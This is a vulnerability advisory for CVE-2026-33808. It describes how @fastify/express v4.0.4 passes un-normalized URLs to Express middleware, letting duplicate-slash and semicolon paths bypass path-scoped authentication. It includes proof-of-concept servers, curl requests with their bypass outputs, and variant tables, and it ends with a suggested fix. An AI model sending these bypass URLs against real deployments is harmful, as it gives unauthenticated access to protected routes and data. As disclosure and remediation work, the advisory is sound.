CVE-2026-33808

Description

### Summary `@fastify/express` v4.0.4 fails to normalize URLs before passing them to Express middleware when Fastify router normalization options are enabled. This allows complete bypass of path-scoped authentication middleware via two vectors: 1. **Duplicate slashes** (`//admin/dashboard`) when `ignoreDuplicateSlashes: true` is configured 2. **Semicolon delimiters** (`/admin;bypass`) when `useSemicolonDelimiter: true` is configured In both cases, Fastify's router normalizes the URL and matches the route, but `@fastify/express` passes the original un-normalized URL to Express middleware, which fails to match and is skipped. Note: This is distinct from GHSA-g6q3-96cp-5r5m (CVE-2026-22037), which addressed URL percent-encoding bypass and was patched in v4.0.3. These normalization gaps remain in v4.0.4. A similar class of normalization issue was addressed in `@fastify/middie` via GHSA-8p85-9qpw-fwgw (CVE-2026-2880), but `@fastify/express` does not include the equivalent fixes. ### Details The vulnerability exists in `@fastify/express`'s `enhanceRequest` function (`index.js` lines 43-46): ```javascript const decodedUrl = decodeURI(url) req.raw.url = decodedUrl ``` The `decodeURI()` function only handles percent-encoding — it does not normalize duplicate slashes or strip semicolon-delimited parameters. When Fastify's router options are enabled, `find-my-way` applies these normalizations during route matching, but `@fastify/express` passes the original URL to Express middleware. #### Vector 1: Duplicate Slashes When `ignoreDuplicateSlashes: true` is set, Fastify's `find-my-way` router normalizes `//admin/dashboard` to `/admin/dashboard` for route matching. However, Express middleware receives `//admin/dashboard`. Express's `app.use('/admin', authMiddleware)` expects paths to start with `/admin/`, but `//admin` does not match the `/admin` prefix pattern. The attack sequence: 1. Client sends `GET //admin/dashboard` 2. Fastify's router normalizes this to `/admin/dashboard` and finds a matching route 3. `enhanceRequest` sets `req.raw.url = "//admin/dashboard"` (preserves double slash) 4. Express middleware `app.use('/admin', authMiddleware)` does not match `//admin` prefix 5. Authentication is bypassed, and the Fastify route handler executes #### Vector 2: Semicolon Delimiters When `useSemicolonDelimiter: true` is configured, the router uses `find-my-way`'s `safeDecodeURI()` which treats semicolons as query string delimiters, splitting `/admin;bypass` into path `/admin` and querystring `bypass` for route matching. However, `@fastify/express` passes the full URL `/admin;bypass` to Express middleware. Express uses path-to-regexp v0.1.12 internally, which compiles middleware paths like `/admin` to the regex `/^\/admin\/?(?=\/|$)/i`. A semicolon character does not satisfy the lookahead condition, causing the middleware match to fail. The attack flow: 1. Request `GET /admin;bypass` arrives 2. Fastify router: splits at `;` — matches route `GET /admin` 3. Express middleware: regex `/^\/admin\/?(?=\/|$)/i` fails against `/admin;bypass` — middleware skipped 4. Route handler executes without authentication checks ### PoC #### Duplicate Slash Bypass Save as `server.js` and run with `node server.js`: ```js const fastify = require('fastify') async function start() { const app = fastify({ logger: false, ignoreDuplicateSlashes: true, // documented Fastify option }) await app.register(require('@fastify/express')) // Standard Express middleware auth pattern app.use('/admin', function expressAuthGate(req, res, next) { const auth = req.headers.authorization if (!auth || auth !== 'Bearer admin-secret-token') { res.statusCode = 403 res.setHeader('content-type', 'application/json') res.end(JSON.stringify({ error: 'Forbidden by Express middleware' })) return } next() }) // Protected route app.get('/admin/dashboard', async (request) => { return { message: 'Admin dashboard', secret: 'sensitive-admin-data' } }) await app.listen({ port: 3000 }) console.log('Listening on http://localhost:3000') } start() ``` ```bash # Normal access — blocked by Express middleware $ curl -s http://localhost:3000/admin/dashboard {"error":"Forbidden by Express middleware"} # Double-slash bypass — Express middleware skipped, handler runs $ curl -s http://localhost:3000//admin/dashboard {"message":"Admin dashboard","secret":"sensitive-admin-data"} # Triple-slash also works $ curl -s http://localhost:3000///admin/dashboard {"message":"Admin dashboard","secret":"sensitive-admin-data"} ``` Multiple variants work: `///admin`, `/.//admin`, `//admin//dashboard`, etc. #### Semicolon Bypass ```javascript const fastify = require('fastify') const http = require('http') function get(port, url) { return new Promise((resolve, reject) => { http.get('http://localhost:' + port + url, (res) => { let data = '' res.on('data', (chunk) => data += chunk) res.on('end', () => resolve({ status: res.statusCode, body: data })) }).on('error', reject) }) } async function test() { const app = fastify({ logger: false, routerOptions: { useSemicolonDelimiter: true } }) await app.register(require('@fastify/express')) // Auth middleware blocking unauthenticated access app.use('/admin', function(req, res, next) { if (!req.headers.authorization) { res.statusCode = 403 res.setHeader('content-type', 'application/json') res.end(JSON.stringify({ error: 'Forbidden' })) return } next() }) app.get('/admin', async () => ({ secret: 'classified-info' })) await app.listen({ port: 19900, host: '0.0.0.0' }) // Blocked: let r = await get(19900, '/admin') console.log('/admin:', r.status, r.body) // Output: /admin: 403 {"error":"Forbidden"} // BYPASS: r = await get(19900, '/admin;bypass') console.log('/admin;bypass:', r.status, r.body) // Output: /admin;bypass: 200 {"secret":"classified-info"} r = await get(19900, '/admin;') console.log('/admin;:', r.status, r.body) // Output: /admin;: 200 {"secret":"classified-info"} await app.close() } test() ``` Actual output: ``` /admin: 403 {"error":"Forbidden"} /admin;bypass: 200 {"secret":"classified-info"} /admin;: 200 {"secret":"classified-info"} ``` The semicolon bypass works with any text after it: `/admin;`, `/admin;x`, `/admin;jsessionid=123`. ### Impact Complete authentication bypass for applications using Express middleware for path-based access control. An unauthenticated attacker can access protected routes (admin panels, APIs, user data) by manipulating the URL path. **Duplicate slash vector** affects applications that: 1. Use `@fastify/express` with `ignoreDuplicateSlashes: true` 2. Rely on Express middleware for authentication/authorization 3. Use path-scoped middleware patterns like `app.use('/admin', authMiddleware)` **Semicolon vector** affects applications that: 1. Use `@fastify/express` with `useSemicolonDelimiter: true` (commonly enabled for Java application server compatibility, e.g., handling `;jsessionid=` parameters) 2. Rely on Express middleware for authentication/authorization 3. Use path-scoped middleware patterns like `app.use('/admin', authMiddleware)` The bypass works against all Express middleware that uses prefix path matching, including popular packages like `express-basic-auth`, custom authentication middleware, and rate limiting middleware. The `ignoreDuplicateSlashes` and `useSemicolonDelimiter` options are documented as convenience features, not marked as security-sensitive, so developers would not expect them to impact middleware security. ### Affected Versions - `@fastify/express` v4.0.4 (latest) with Fastify 5.x - Requires `ignoreDuplicateSlashes: true` or `useSemicolonDelimiter: true` in Fastify configuration (via top-level option or `routerOptions`) ### Variant Testing **Duplicate slashes:** | Request | Express Middleware | Handler Runs | Result | |---------|-------------------|--------------|--------| | `GET /admin/dashboard` | Invoked (blocks) | No | 403 Forbidden | | `GET //admin/dashboard` | Skipped | Yes | 200 OK — **BYPASS** | | `GET ///admin/dashboard` | Skipped | Yes | 200 OK — **BYPASS** | | `GET /.//admin/dashboard` | Skipped | Yes | 200 OK — **BYPASS** | | `GET //admin//dashboard` | Skipped | Yes | 200 OK — **BYPASS** | | `GET /admin//dashboard` | Invoked (blocks) | No | 403 Forbidden | **Semicolons:** | URL | Express MW Fires | Route Matches | Result | |---|---|---|---| | `/admin` | Yes | Yes (200/403) | Normal | | `/admin;` | No | Yes (200) | **BYPASS** | | `/admin;bypass` | No | Yes (200) | **BYPASS** | | `/admin;x=1` | No | Yes (200) | **BYPASS** | | `/admin;/dashboard` | No | Yes (200, routes to /admin) | **BYPASS** | | `/admin/dashboard;x` | Yes | Yes (routes to /admin/dashboard) | Normal (prefix /admin/ still matches) | The semicolon bypass is effective when the semicolon appears immediately after the middleware prefix boundary. For sub-paths where the prefix is already matched (e.g., `/admin/dashboard;x`), Express's prefix regex succeeds because the `/admin/` part matches before the semicolon appears. ### Suggested Fix `@fastify/express` should normalize URLs before passing them to Express middleware, respecting the router normalization options that are enabled. Specifically: - When `ignoreDuplicateSlashes` is enabled, apply `FindMyWay.removeDuplicateSlashes()` to `req.raw.url` before middleware execution - When `useSemicolonDelimiter` is enabled, strip semicolon-delimited parameters from the URL before passing to Express This would match the normalization behavior that `@fastify/middie` already implements via `sanitizeUrlPath()` and `normalizePathForMatching()`.